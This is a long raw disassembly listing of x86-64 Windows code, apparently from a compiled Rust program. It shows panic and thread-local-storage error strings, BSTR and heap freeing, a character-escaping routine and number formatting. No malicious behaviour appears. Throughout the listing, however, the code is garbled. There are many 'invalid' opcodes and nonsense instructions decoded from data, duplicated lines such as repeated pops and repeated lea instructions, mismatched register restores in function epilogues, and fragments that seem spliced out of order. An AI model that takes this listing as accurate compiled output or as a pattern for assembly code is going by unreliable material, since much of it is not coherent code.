lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14010fdc0]
lea r8, [rbp + 0x1d8]
mov edx, 0x2b
call fcn.1401049b0
lea rcx, str.srcmain.rs
call fcn.140104a40
movups xmm0, xmmword [rbp + 0x518]
movaps xmmword [rbp + 0x360], xmm0
lea rax, str.srcmain.rs
jmp 0x14000ffb6
movups xmm0, xmmword [rbp + 0x518]
movaps xmmword [rbp + 0x360], xmm0
lea rax, str.srcmain.rs
jmp 0x14000ffb6
movups xmm0, xmmword [rbp + 0x518]
movaps xmmword [rbp + 0x360], xmm0
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14016f768]
lea r9, [0x14010fde0]
lea r8, [rbp + 0x360]
xor edx, edx
call fcn.1401049b0
call fcn.140010910
lea rax, [0x140148ad8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadlocal.rs
lea r9, [0x1401392c0]
lea r8, [rbp + 0x8e7]
mov edx, 0x46
call fcn.1401049b0
xor r13d, r13d
jmp 0x1400100aa
mov ecx, 1
mov rdx, r13
call fcn.140104360
mov ecx, eax
call fcn.1401010f0
mov r13, rax
test r12, r12
je 0x1400100a1
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
jmp 0x1400100a1
xor r14d, r14d
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
cmp dword [rbp + 0x774], 0
jns 0x14001008d
mov rcx, qword [rbp + 0x510]
test rcx, rcx
je 0x14001008d
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x510]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
xor r13d, r13d
test r14b, r14b
je 0x14001011a
jmp 0x140010151
xor r13d, r13d
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x510]
test rcx, rcx
je 0x1400100e1
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x510]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov rcx, qword [rbp + 0x518]
mov bl, 1
test rcx, rcx
je 0x14001011a
lea rax, [rbp + 0x518]
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov rcx, qword [rbp + 0x520]
test rcx, rcx
je 0x140010151
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x520]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
test bl, bl
je 0x14001018c
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x14001018c
lea rax, [rbp + 0x528]
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100ce0
mov rcx, qword [rbp + 0x8a8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8a0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor ebx, ebx
cmp qword [rbp + 0x4e0], 0
jne 0x14000ee20
jmp 0x14000ee36
lea rcx, str.srcmain.rs
call fcn.140104a40
mov ecx, 1
mov rdx, r12
call fcn.140104360
mov byte [rbp + 0x8e6], 1
mov ecx, 1
mov rdx, r12
call fcn.140104360
jmp 0x14001032f
mov bl, 1
jmp 0x14001003a
lea r8, [0x140146988]
mov rcx, rbx
mov rdx, r13
call fcn.140104660
jmp 0x14001032f
lea r8, [0x140146958]
mov rcx, r12
mov rdx, r13
call fcn.1401046e0
jmp 0x14001032f
xor ebx, ebx
jmp 0x14001003a
lea rax, [0x140110318]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
lea rax, [0x14016f768]
mov qword [rbp + 0x520], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
mov rcx, qword [rbp + 0x808]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rbp + 0x4e0], 0
je 0x14000ee73
mov r8, qword [rbp + 0x4e8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000ee73
mov qword [rbp + 0x7d8], r13
mov ecx, 8
mov edx, 0x30
call fcn.140104380
jmp 0x14001032f
mov qword [rbp + 0x8a0], rsi
mov qword [rbp + 0x7d8], r13
mov ecx, 8
mov edx, 0x30
call fcn.140104380
jmp 0x14001032f
lea r8, [0x140146970]
mov rcx, rbx
mov rdx, r12
call fcn.1401048e0
jmp 0x14001032f
lea r8, [0x140146970]
mov rcx, r12
mov rdx, r13
call fcn.1401046e0
ud2
lea rax, [r15 + r8]
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
sub r9, r8
cmp r9, rdx
jb 0x1400128ca
add rcx, r15
mov qword [rsi], rcx
sub rax, r15
mov qword [rsi + 8], rax
sub r14, r15
mov qword [rsi + 0x10], r14
jmp 0x1400128bc
test byte [rbx + 1], ah
add byte [rax], al
lea r12, [rdi + 0x20]
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov rdx, qword [rsi]
mov r14, qword [rsi + 8]
mov esi, dword [rsi + 8]
mov esi, dword [rsi + 8]
cmp rbx, r14
jb 0x1400128ee
xor ebx, ebx
add rax, rbx
mov rcx, rax
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rbx, r14
mov qword [rsp + 0x30], rbx
lock dec qword [r12]
jne 0x140012858
mov rax, qword [rdi + 0x20]
cmp qword [rdi], 0
je 0x140012846
mov r8, qword [rdi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [r15*4 + 1]
mov qword [rsi + 0x18], rax
mov rax, qword [rsp + 0x28]
mov qword [rsi], rax
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov rax, qword [rsp + 0x20]
mov qword [rsi + 0x10], rax
jmp 0x1400128bc
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [rsp + 0x20]
mov r8, rdx
mov rdx, rax
call fcn.140108c90
mov r14, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
jmp 0x140012786
lea rcx, [rsp + 0x20]
mov rbx, rdx
xor edx, edx
mov r8, r14
call fcn.140108c90
mov rdx, rbx
mov rax, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x30]
jmp 0x14001280c
invalid
movzx eax, byte [rbp + r14]
mov byte [rsp + 0x2f], al
invalid
cmp rax, 0x22
ja 0x140012a80
invalid
movsxd rcx, dword [r15 + rax*4]
add rcx, r15
jmp rcx
outsd dx, dword [rsi]
fcom dword [rdx]
add byte [rcx - 1], al
invalid
fadd dword [rcx]
add byte [rax], al
nop dword [rax]
cmp eax, 0x5c
jne 0x140012aab
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x78], rax
lea rax, [fcn.140017ef0]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
lea rax, [0x1401402c8]
jmp 0x140012adb
lea ecx, [rax - 0x20]
cmp cl, 0x5f
jae 0x140012b82
or ebx, 0
add byte [rax], al
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
lea rax, [fcn.140017ef0]
mov qword [rsp + 0x80], rax
add byte [rax], al
lea rax, [0x14016f7a8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
lea r8, [rsp + 0x40]
call fcn.140013960
invalid
add byte [rax], al
test al, al
je 0x140012c30
invalid
jmp 0x140012c51
mov r8d, 2
mov rcx, rsi
lea rdx, [0x1401402c4]
call r13
test al, al
je 0x140012c30
jmp 0x140012c51
mov r8d, 2
mov rcx, rsi
lea rdx, [0x1401402c6]
call r13
test al, al
je 0x140012c30
jmp 0x140012c51
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x30], rax
lea rax, [0x1400191d0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
movabs rax, 0x800000020
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x70], 3
lea rax, [0x1401402e0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
lea r8, [rsp + 0x78]
and al, 0x78
and al, 0x78
call fcn.140013960
test al, al
jne 0x140012c51
nop
inc r14
cmp r12, r14
jne 0x140012a40
lea rdx, [0x140148b04]
mov r8d, 1
mov rcx, rsi
call r13
mov ebx, eax
mov eax, ebx
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0xfc8fd
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r10d, word [rdi + r9]
movd xmm3, r10d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r9, 2
cmp r11, r9
jne 0x140012e60
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r9, xmm1
cmp r11, rbx
je 0x140012eb7
xor r10d, r10d
cmp byte [rdi + r11], 0xc0
setge r10b
add r9, r10
inc r11
cmp rbx, r11
jne 0x140012ea0
add rdx, r9
mov r13, qword [rbp + 0x70]
cmp qword [rcx], 0
je 0x140012f01
mov r14, qword [rcx + 8]
sub r14, rdx
jbe 0x140012f01
test al, 8
jne case.0x14000d205.39
mov qword [rbp - 8], r15
movzx r15d, byte [rcx + 0x38]
lea rax, [0x140172410]
movsxd rdx, dword [rax + r15*4]
add rdx, rax
ret 0x8944
invalid
invalid
mov qword [rbp - 0x18], r13
jmp rdx
mov r15, r14
xor r14d, r14d
jmp case.0x140012ef4.0
mov rsi, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov rdx, r12
mov r9, rdi
call fcn.1400134c0
mov dil, 1
test al, al
je 0x140012f36
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [r12 + 0x18]
mov rcx, rsi
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
mov eax, dword [rcx + 0x30]
mov dword [rbp - 0xc], eax
mov dword [rcx + 0x30], 0x30
movzx eax, byte [rcx + 0x38]
mov byte [rbp + 7], al
mov byte [rcx + 0x38], 1
mov r12, qword [rcx + 0x20]
mov qword [rbp - 8], rcx
mov rsi, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, rsi
mov r9, rdi
call fcn.1400134c0
mov dil, 1
test al, al
jne 0x140012f23
inc r14
nop dword [rax + rax]
dec r14
je 0x140012fb9
mov rcx, r12
mov edx, 0x30
call qword [rsi + 0x20]
test al, al
je 0x140012fa0
jmp 0x140012f23
mov rcx, r12
mov rdx, r13
mov r8, r15
call qword [rsi + 0x18]
test al, al
jne 0x140012f23
mov r13, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov dword [r13 + 0x30], eax
movzx eax, byte [rbp + 7]
mov byte [r13 + 0x38], al
xor edi, edi
jmp 0x140012f23
mov r15, r14
shr r15, 1
inc r14
shr r14, 1
mov r12, qword [rcx + 0x20]
mov r13, qword [rcx + 0x28]
mov esi, dword [rcx + 0x30]
inc r15
nop word cs:[rax + rax]
dec r15
je 0x14001302a
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
test al, al
je 0x140013010
mov dil, 1
jmp 0x140012f23
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r13
mov r8d, dword [rbp - 0x10]
mov r9, rdi
call fcn.1400134c0
mov dil, 1
test al, al
jne 0x140012f23
mov rcx, r12
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
call qword [r13 + 0x18]
test al, al
jne 0x140012f23
mov rbx, r14
neg rbx
mov rdi, 0xffffffffffffffff
lea rax, [rbx + rdi]
cmp rax, 0xffffffffffffffff
je 0x14001308c
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
inc rdi
test al, al
je 0x140013070
jmp 0x14001308f
mov rdi, r14
cmp rdi, r14
setb dil
jmp 0x140012f23
shr rdi, 7
shr rsi, 6
or rsi, rdi
and rsi, rax
add rdx, rsi
cmp ebx, 2
je 0x14001347e
mov r10, qword [r10 + r11*8 + 0x10]
mov r11, r10
not r11
shr r11, 7
shr r10, 6
or r10, r11
and r10, rax
add rdx, r10
and r8, rdx
shr rdx, 8
movabs rax, 0x700ff00ff00ff
and rax, rdx
add rax, r8
imul rax, rcx
shr rax, 0x30
add rax, r9
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x10
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
test esi, esi
je 0x140013813
cmp rsi, 1
jne 0x140013797
xor eax, eax
xor edx, edx
jmp 0x1400137fd
mov edx, esi
and edx, 0x1e
pxor xmm0, xmm0
pxor mm0, mm0
pxor mm0, mm0
xor eax, eax
movdqa xmm1, xmmword [0x14010f740]
or eax, 0xfbf96
or eax, 0xfbf96
movdqa xmm2, xmmword [0x14010f750]
adc eax, 0xfbf9e
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx r8d, word [rdi + rax]
movd xmm3, r8d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add rax, 2
cmp rdx, rax
jne 0x1400137c0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x14001380e
xor r8d, r8d
cmp byte [rdi + rdx], 0xc0
setge r8b
add rax, r8
inc rdx
cmp rsi, rdx
jne 0x1400137fd
sub r15, rax
jbe 0x140013831
movzx eax, byte [rcx + 0x38]
lea rdx, [0x140172420]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
xor r13d, r13d
jmp 0x14001386d
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov r9, qword [rcx + 0x18]
mov rcx, rax
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp r9
mov r13, r15
xor r15d, r15d
jmp 0x14001386d
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov r14d, dword [rcx + 0x30]
inc r13
nop dword [rax]
mov rcx, rbx
dec r13
je 0x140013898
mov edx, r14d
call qword [r12 + 0x20]
test al, al
je 0x140013880
mov al, 1
jmp 0x1400138e7
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400138e7
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x1400138de
mov rcx, rbx
mov edx, r14d
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x1400138c0
jmp 0x1400138e1
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub byte [rax - 0x73], r9b
adc eax, 0x13320c
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140016fc9
test al, al
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
cmp byte [rbx + 0x5f], bl
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov al, 1
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add r12, r15
mov rsi, qword [rbp - 0x38]
nop word cs:[rax + rax]
sub r15, r14
add r15, rbx
cmp rbx, qword [rbp - 0x40]
je 0x1400172f7
mov r14, rbx
movzx r13d, byte [rbx]
test r13b, r13b
js 0x1400170d0
lea rbx, [r14 + 1]
jmp 0x140017140
mov eax, r13d
and eax, 0x1f
movzx edx, byte [r14 + 1]
and edx, 0x3f
cmp r13b, 0xdf
jbe 0x140017125
lea rbx, [r14 + 3]
movzx ecx, byte [r14 + 2]
add r8b, cl
loop 0x1400170f6
add r8b, cl
loop 0x1400170f6
and ecx, 0x3f
or ecx, edx
cmp r13b, 0xf0
cmp ch, 0xf0
jb 0x140017133
movzx r13d, byte [rbx]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x1400172f7
lea rbx, [r14 + 4]
jmp 0x140017140
lea rbx, [r14 + 2]
shl eax, 6
or eax, edx
mov r13d, eax
jmp 0x140017140
shl eax, 0xc
or ecx, eax
mov r13d, ecx
nop dword [rax + rax]
lea rcx, [rbp - 0x2c]
mov edx, r13d
mov r8d, 0x10001
call fcn.140017380
cmp byte [rbp - 0x2c], 0x80
je 0x1400170a0
movzx eax, byte [rbp - 0x21]
sub al, byte [rbp - 0x22]
cmp al, 1
je 0x1400170a0
mov r8, r15
sub r8, r12
jb 0x140017357
test r12, r12
je 0x140017197
cmp r12, rsi
jae 0x140017191
mov rax, qword [rbp - 0x10]
cmp byte [rax + r12], 0xc0
jge 0x140017197
jmp 0x140017357
jne 0x140017357
test r15, r15
je 0x1400171b7
cmp r15, rsi
jae 0x1400171b1
mov rax, qword [rbp - 0x10]
cmp byte [rax + r15], 0xbf
jg 0x1400171b7
jmp 0x140017357
jne 0x140017357
add r12, qword [rbp - 0x10]
mov rcx, rdi
mov rdx, r12
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
test al, al
jne 0x140017057
mov eax, dword [rbp - 0x24]
mov dword [rbp], eax
mov rax, qword [rbp - 0x2c]
mov qword [rbp - 8], rax
cmp al, 0x80
jne 0x14001723d
mov sil, 0x80
jmp 0x140017212
mov edx, dword [rbp - 4]
mov dword [rbp], 0
mov qword [rbp - 8], 0
xor esi, esi
mov rcx, rdi
call qword [rbp - 0x20]
test al, al
jne 0x140017057
cmp sil, 0x80
je 0x1400171f0
movzx r12d, byte [rbp + 2]
cmp r12b, byte [rbp + 3]
jae 0x14001727f
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12b, 0xa
jae 0x140017343
movzx edx, byte [rbp + r12 - 8]
jmp 0x140017204
movzx esi, byte [rbp + 3]
movzx r12d, byte [rbp + 2]
nop word cs:[rax + rax]
cmp r12, rsi
jae 0x14001727f
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12, 9
ja 0x140017343
movzx edx, byte [rbp + r12 - 8]
mov rcx, rdi
call qword [rbp - 0x20]
inc r12
test al, al
je 0x140017250
jmp 0x140017057
mov r12d, 1
cmp r13d, 0x80
std
add byte [rax], 0
add byte [rdi], cl
invalid
std
std
invalid
invalid
mov r12d, 2
cmp r13d, 0x800
jb 0x14001708f
invalid
invalid
std
invalid
invalid
cmp r13d, 0x10000
mov r12d, 4
sbb r12, 0
jmp 0x14001708f
add rbx, rax
sub rsi, rax
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call qword [r14 + 0x18]
test al, al
jne 0x140017057
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
mov edx, 0x22
mov rax, qword [rbp - 0x20]
add rsp, 0x78
js 0x140017344
js 0x140017344
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
jmp rax
test r12, r12
je 0x140017315
cmp r12, rsi
mov rbx, qword [rbp - 0x10]
mov ebx, dword [rbp - 0x10]
mov ebx, dword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jae 0x140017321
cmp byte [rbx + r12], 0xbf
jle 0x140017326
mov rax, r12
jmp 0x1400172bd
xor eax, eax
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jmp 0x1400172bd
mov rax, rsi
je 0x1400172bd
lea rax, [0x1401112c8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r12
mov r9, rsi
call fcn.140104b90
lea r8, str.librarycore_srcescape.rs
lea eax, [0x140111d68]
mov edx, 0xa
mov rcx, r12
call fcn.140104670
lea rax, [0x1401112e0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x10]
mov rdx, rsi
mov r8, r12
mov r9, r15
call fcn.140104b90
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
cmp edx, 0x27
invalid
ja case.default.0x1400173a1
mov eax, edx
lea r9, [0x140172430]
movsxd rax, dword [r9 + rax*4]
add al, 0x81
add al, 0x81
add rax, r9
jmp rax
mov word [rcx], 0x305c
jmp 0x1400175aa
add byte [rax], al
add byte [rbx + 0xa755cfa], al
cmp edx, 0x5c
jne case.0x1400173a1.1
mov word [rcx], 0x5c5c
jmp 0x1400175aa
cmp edx, 0x80
jb 0x1400174e8
and r8d, 1
je 0x1400174e8
mov rsi, rcx
mov ecx, edx
mov edi, edx
call fcn.140017c80
mov edx, edi
mov rcx, rsi
test al, al
je 0x1400174e8
add byte [rax], al
invalid
add byte [rax], al
add dh, al
test byte [r8], 0x66
add byte [rsi - 0x39], ah
hlt
add byte [rax], al
invalid
std
mov byte [rbp - 0xa], 0
mov word [rbp - 0xc], 0
mov byte [rbp - 3], 0x7d
jge 0x14001743b
mov eax, edx
add byte [rsi - 0x39], ah
hlt
jge 0x14001743b
mov eax, edx
rol byte [rcx - 0x3f], 1
call 0x12084b517
cmovs ecx, dword [rbp + 0xf992d05]
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
invalid
invalid
mov dh, 4
shr r8d, 0x14
and r8d, 0xf
lea rax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx r8d, byte [r8 + rax]
mov byte [rbp - 9], r8b
mov r8d, edx
mov eax, edx
add byte [rax + rcx*4 + 0x45], al
test dword [rcx - 0x77], 0xe8c141d0
mov eax, edx
shr r8d, 0x10
and r8d, 0xf
mov eax, edx
shr r8d, 0x10
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 8], r8b
mov r8d, edx
shr r8d, 0xc
and r8d, 0xf
or al, 0x41
and eax, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 7], r8b
stc
mov r8d, edx
shr r8d, 8
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 6], r8b
mov r8d, edx
shr r8d, 4
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 5], r8b
mov r8d, edx
and r8d, 0xf
movzx eax, byte [r8 + rax]
mov byte [rbp - 4], al
or edx, 1
bsr eax, edx
xor eax, 0x1c
shr eax, 2
lea rdx, [rax - 2]
mov byte [rbp + rax - 0xc], 0x7b
mov word [rbp + rax - 0xe], 0x755c
add eax, 0xf755cf2
mov bh, 0x45
cld
add eax, 0xf755cf2
mov bh, 0x45
cld
mov word [rcx + 8], ax
mov dword [rcx + 8], eax
mov rax, qword [rbp - 0xc]
mov qword [rcx], rax
mov byte [rcx + 0xa], dl
mov byte [rcx + 0xb], 0xa
jmp 0x1400175b8
add dword [rax], eax
invalid
hlt
add dword [rax], eax
add byte [rsi - 0x39], ah
mov word [rcx], 0x6e5c
invalid
test byte [rax], 0
add byte [rax], al
mov word [rcx], 0x6e5c
jmp 0x1400175aa
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 9], al
rol byte [rax], 1
add byte [rcx], al
test r8d, 0x100
add byte [rcx], al
add byte [rax], al
je 0x1400174e8
mov word [rcx], 0x275c
jmp 0x1400175aa
invalid
mov word [rcx], 0x725c
jmp 0x1400175aa
mov word [rcx], 0x745c
jmp 0x1400175aa
test r8d, 0x10000
jne 0x1400175a5
mov rsi, rcx
mov edi, edx
mov ecx, edx
call fcn.140017b40
test al, al
je 0x140017503
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x1400175b8
mov byte [rbp - 0x16], 0
mov word [rbp - 0x18], 0
mov byte [rbp - 0xf], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x15], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x14], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x13], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x12], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x11], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 0x10], cl
or eax, 1
bsr eax, eax
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rbp + rax - 0x18], 0x7b
mov word [rbp + rax - 0x1a], 0x755c
movzx eax, word [rbp - 0x10]
mov word [rsi + 8], ax
mov rax, qword [rbp - 0x18]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x1400175b8
mov word [rcx], 0x225c
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
add byte [rax - 0x75], cl
lea edx, [rax + 0x48000000]
mov dword [rbp - 0x18], ecx
mov qword [rbp - 0x10], rdi
jge 0x140018a38
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], rbx
movabs rcx, 0x3030303030303030
mov qword [rbp + 0x18], rcx
mov byte [rbp + 0x20], 0x30
mov r10, qword [rsi + 0x10]
push rsi
adc byte [rbp + 0x1b840fc0], al
add al, byte [rax]
invalid
push rsi
adc byte [rbp + 0x1b840fc0], al
add al, byte [rax]
add byte [rbp - 0x7b], cl
ror byte [rax - 0x75], cl
sbb byte [rcx - 0x45], r8b
or dword [rax], eax
add byte [rax], al
test r10, r10
mov rcx, qword [rsi + 0x18]
mov r11d, 9
cmovne r11, rcx
test r11, r11
je 0x140018c95
xor edx, edx
div r9d
add al, 0x30
mov byte [rbp + 0x18], al
test edx, edx
je 0x140018cbb
mov r15d, r9d
mov r12d, 0xcccccccd
imul r12, r15
shr r12, 0x23
cmp r11, 1
je 0x140018c31
cmp r9d, 0xa
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x19], al
test edx, edx
je 0x140018cc3
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x140018c31
cmp r9d, 0x64
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1a], al
test edx, edx
je 0x140018ccb
imul r12, r15, 0x10624dd3
shr r12, 0x26
cmp r11, 3
je 0x140018c31
cmp r9d, 0x3e8
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1b], al
test edx, edx
je 0x140018cd3
mov r12d, 0xd1b71759
imul r12, r15
shr r12, 0x2d
cmp r11, 4
je 0x140018c31
cmp r9d, 0x2710
jb 0x140018f89
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1c], al
test edx, edx
je 0x140018cdb
mov eax, r9d
